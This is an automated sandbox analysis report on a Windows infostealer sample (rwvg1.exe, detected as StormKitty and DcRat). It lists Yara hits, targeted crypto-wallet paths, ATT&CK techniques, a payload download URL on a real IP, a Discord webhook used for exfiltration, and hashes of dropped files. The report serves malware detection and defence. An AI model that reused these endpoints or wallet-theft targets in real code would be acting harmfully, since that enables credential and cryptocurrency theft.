Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum#\Electrum\wallets
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \bytecoinJaxxk\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus+\Exodus\exodus.wallet
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: exodus
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Coinomi1\Coinomi\Coinomi\wallets
Source: rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereum%\Ethereum\keystore

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Remote Access Functionality

Yara detected BrowserPasswordDump

Source: Yara match	File source: 5.2.RegAsm.exe.525b8a.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.428ad9a.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3b9d33a.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Yara detected DcRat

Source: Yara match

File source: 00000005.00000002.3907344980.0000000002E7B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected StormKitty Stealer

Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3f8d37a.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.rwvg1.exe.3e695f0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: rwvg1.exe PID: 7796, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7988, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	131 Windows Management Instrumentation	1 Scheduled Task/Job	412 Process Injection	1 Masquerading	OS Credential Dumping	241 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Native API	Logon Script (Windows)	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	1 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	111 Obfuscated Files or Information	LSA Secrets	24 System Information Discovery	SSH	Keylogging	11 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
rwvg1.exe	39%	ReversingLabs	ByteCode-MSIL.Infostealer.Tinba
rwvg1.exe	100%	Avira	HEUR/AGEN.1306918
rwvg1.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll	100%	Avira	HEUR/AGEN.1300034
C:\Users\user\AppData\Local\Temp\udnn4kvb\udnn4kvb.dll	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://147.45.44.131/infopage/ersyb.exe0	0%	Avira URL Cloud	safe
http://147.45.448	0%	Avira URL Cloud	safe
http://147.45.44.131/infopage/ersyb.exe	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://147.45.44.131/infopage/ersyb.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://stackoverflow.com/q/14436606/23354cIt	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://github.com/LimerBoy/StormKitty	rwvg1.exe, 00000000.00000002.1461268858.0000000002B22000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461268858.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131/infopage/ersyb.exe0	csc.exe, 00000001.00000003.1426329779.0000000000891000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/11564914/23354;	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://discord.com/api/webhooks/1016614786533969920/fMJOOjA1pZqjV8_s0JC86KN9Fa0FeGPEHaEak8WTADC18s5	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v6/users/	RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_see	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	rwvg1.exe, 00000000.00000002.1461268858.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3907344980.0000000002C41000.00000004.00000800.00020000.00000000.sdmp	false		high
https://urn.to/r/sds_seeaCould	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://james.newtonking.com/projects/json	RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://www.newtonsoft.com/jsonschema	rwvg1.exe, 00000000.00000002.1461472662.0000000003A89000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461472662.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000005.00000002.3904424203.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false		high
http://147.45.44.131	rwvg1.exe, 00000000.00000002.1461268858.0000000002A81000.00000004.00000800.00020000.00000000.sdmp, rwvg1.exe, 00000000.00000002.1461268858.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://147.45.448	rwvg1.exe, 00000000.00000002.1461268858.0000000002B0F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
147.45.44.131	unknown	Russian Federation		2895	FREE-NET-ASFREEnetEU	false
157.20.182.177	unknown	unknown		24297	FCNUniversityPublicCorporationOsakaJP	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583434
Start date and time:	2025-01-02 19:13:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 41s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	rwvg1.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winEXE@8/9@0/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 66 Number of non-executed functions: 5
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: rwvg1.exe

Simulations

Behavior and APIs

Time	Type	Description
13:14:19	API Interceptor	1x Sleep call for process: rwvg1.exe modified
13:14:24	API Interceptor	7878088x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
147.45.44.131	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/ersyb.exe
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131/infopage/yijth.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/hgfpj.exe
	qoqD1RxV0F.exe	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	iviewers.dll	Get hash	malicious	LummaC	Browse	147.45.44.131/infopage/inbg.exe
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	147.45.44.131/infopage/bnkh.exe
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	147.45.44.131/infopage/ung0.exe
157.20.182.177	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	Hornswoggle.exe	Get hash	malicious	GuLoader	Browse	199.232.214.172
	8n26gvrXUM.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://gldkzr-lpqw.buzz/script/ut.js?cb%5C=1735764124690	Get hash	malicious	Unknown	Browse	199.232.210.172
	5fr5gthkjdg71.exe	Get hash	malicious	Quasar, R77 RootKit	Browse	199.232.214.172
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	hcxmivKYfL.exe	Get hash	malicious	RedLine	Browse	199.232.210.172
	WN3Y9XR9c7.exe	Get hash	malicious	AsyncRAT	Browse	199.232.210.172
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	199.232.214.172
	test.doc.bin.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	ROtw3Hvdow.exe	Get hash	malicious	Unknown	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FCNUniversityPublicCorporationOsakaJP	ersyb.exe	Get hash	malicious	DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	157.16.83.250
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	157.20.182.177
	bKxtUOPLtR.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	157.20.182.177
	armv4l.elf	Get hash	malicious	Mirai	Browse	163.227.210.66
	2.elf	Get hash	malicious	Unknown	Browse	157.20.21.157
FREE-NET-ASFREEnetEU	2 ps1.ps1	Get hash	malicious	KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	lDO4WBEQyL.exe	Get hash	malicious	GO Backdoor	Browse	147.45.196.157
	vfrcxq.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	vfdjo.exe	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	gqub.bat	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	trwsfg.ps1	Get hash	malicious	AveMaria, DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	147.45.44.131
	https://gogl.to/3HGT	Get hash	malicious	CAPTCHA Scam ClickFix, DcRat, KeyLogger, StormKitty, VenomRAT	Browse	147.45.44.131
	Loader.exe	Get hash	malicious	Meduza Stealer	Browse	147.45.44.216
	tzA45NGAW4.lnk	Get hash	malicious	Unknown	Browse	147.45.49.155
	soft 1.14.exe	Get hash	malicious	Meduza Stealer	Browse	147.45.44.216

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.2478978672539016
Encrypted:	false
SSDEEP:	6:kKMT9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:9DImsLNkPlE99SNxAhUe/3
MD5:	2AF514E44E11C3D785B48702325286CE
SHA1:	D3266A3057471A69E37132D5C05CA41A7D3781F2
SHA-256:	AC416900613859077CEFC42A690A88E10A6BA6E46C1EACD7E749E57508E484D9
SHA-512:	FE72CB1FF50BA3D04DD62C85AAFA80EA303F86992F747255C0978F95D128C7BAF409DD9A6BC39562CA894DC8956FA9BCC697427535A79C6B7D6AB2AB10174D3C
Malicious:	false
Reputation:	low
Preview:	p...... ........'..&B]..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rwvg1.exe.log

Download File

Process:	C:\Users\user\Desktop\rwvg1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Temp\RESE40B.tmp

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x48e, 9 symbols, created Thu Jan 2 20:03:10 2025, 1st section name ".debug$S"
Category:	dropped
Size (bytes):	1332
Entropy (8bit):	3.9977634010489975
Encrypted:	false
SSDEEP:	24:HRFzW91r6eMBDFH8RfwKTF9mfwI+ycuZhNDiakSyjPNnqS2d:q6eiFVKTfmo1ulDia3yJqSG
MD5:	5D44CE36BA172E8E146C0642DB5A31BB
SHA1:	D8E664847B7C51A613FA19345DE03B2153E04832
SHA-256:	3C66ED9AAFC13C80EBF6D19CF891D8F2EB0DA5C075017751255C54D0C90B3065
SHA-512:	6890ECF5715493F9EADD07423291428AB74BD4FCEA40C4D66649A87B8BF5871F7078BA491B02B87DC61DB976F022C1FB7E450B0636936683CE4FBD716D32F3A8
Malicious:	false
Preview:	L.....vg.............debug$S........P...................@..B.rsrc$01........X.......4...........@..@.rsrc$02........P...>...............@..@........T....c:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP................{.7.u.Y....p.zm..........5.......C:\Users\user\AppData\Local\Temp\RESE40B.tmp.-.<....................a..Microsoft (R) CVTRES.].=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...u.d.n.n.4.k.v.b...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.

C:\Users\user\AppData\Local\Temp\udnn4kvb\CSC6F1C42AD8BFA43858060D3D5772952B.TMP

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
File Type:	MSVC .res
Category:	dropped
Size (bytes):	652
Entropy (8bit):	3.0994280989172447
Encrypted:	false
SSDEEP:	12:DXt4Ii3ntuAHia5YA49aUGiqMZAiN5gry5lUak7Ynqqyl5PN5Dlq5J:+RI+ycuZhNDiakSyjPNnqX
MD5:	907BB237F675AB5989FBBD1C70087A6D
SHA1:	DB4088CF60120E8191F845E287B95DC5EC01660C
SHA-256:	912F981EFF84239869133724D8558A732203AD581334CAABB1FA4C480F4C285A
SHA-512:	C24C1E590B4B9E7BAB2FC67208CA13A9894827099E84398723443CB3CD3C91E2C9E46AFA75D40248521BFFCF66E41ED3579AE4EB2284A1C5C42A7CBD3419DC53
Malicious:	false
